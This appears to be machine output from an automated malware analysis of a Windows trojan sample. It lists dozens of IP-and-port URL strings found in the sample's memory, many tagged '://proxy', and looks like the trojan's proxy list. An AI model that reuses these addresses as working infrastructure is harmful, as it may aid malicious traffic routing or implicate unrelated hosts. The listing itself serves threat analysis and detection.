Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.0.22.38:61155://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.103.177.131
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.103.177.131://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.103.177.131:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.103.61.254:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.103.61.254:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.104.213.175:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.104.213.175:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.104.26.227:33638
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.104.26.227:33638://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.178.44:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.178.44:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.72.10:33633
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.72.10:33633://proxyP
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.72.10:33633x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.72.17:33633
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.109.72.17:33633://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.110.99.189:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.110.99.189:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.111.209.207:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C646E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.111.209.207:3128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.112.39.241:5555
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.112.39.241:5555://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.113.40.202:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.113.40.202:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.114.245.122:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.114.245.122:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.116.2.52
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.116.2.52://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.116.2.52:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.12.58.2:1001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.12.58.2:1001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.120.249.180:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.120.249.180:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.120.249.6:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.120.249.6:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.120.254.233:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.120.254.233:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.121.143.129:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.121.143.129:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.128.228.182
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.128.228.182://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.128.241.102
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.128.241.102://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.128.241.102:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.136.50.67:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.136.50.67:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.155.198:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.155.198:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.215.130:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.215.130:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.224.244:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.224.244:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.229.242:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.229.242:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.14.229.242:5678x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.144.238.66:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.144.238.66:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C690C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.186.1.121:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C690C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.186.1.121:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.186.1.121:999x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.186.237.103
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.186.237.103://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.186.237.103:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.187.201.26:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.187.201.26:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.188.244.84:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.188.244.84:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.19.114.104:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.19.114.104:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.195.225.34
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.195.225.34://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.195.225.34:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.115.33:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.115.33:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.210.114:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.210.114:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.211.146:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.211.146:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7724000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C780F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.212.94:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C791F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.2.212.94:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.202.111.202:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.202.111.202:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.202.60.89
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.202.60.89://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.202.60.89://proxy0
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.202.60.89:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB085000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.211.250.131:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.211.250.131:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C782D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.216.234.186:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.216.234.186:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.220.228.147:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.220.228.147:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.238.231.65:1994
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.238.231.65:1994://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC733000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.238.231.71:1994
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC75F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.238.231.71:1994://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.239.163.166:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.239.163.166:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84B2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.242.125.186:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.242.125.186:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.242.126.170:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.242.126.170:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF6C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.26.218.116:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.26.218.116:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.43.92.120:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.43.92.120:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.5.77.211
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.5.77.211://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.5.77.211:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.52.178.17
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.52.178.17://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.52.178.17:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.54.100.74:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.54.100.74:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.56.241.170:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.56.241.170:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.57.245.250:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.57.245.250:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.58.248.86
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.58.248.86://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.58.248.86:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.6.32.84:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.6.32.84:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.6.56.133:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.6.56.133:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.101.39:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.101.39:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.32.168:6969
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.32.168:6969://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.48.24:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.48.24:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.55.138:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.55.138:999://proxy
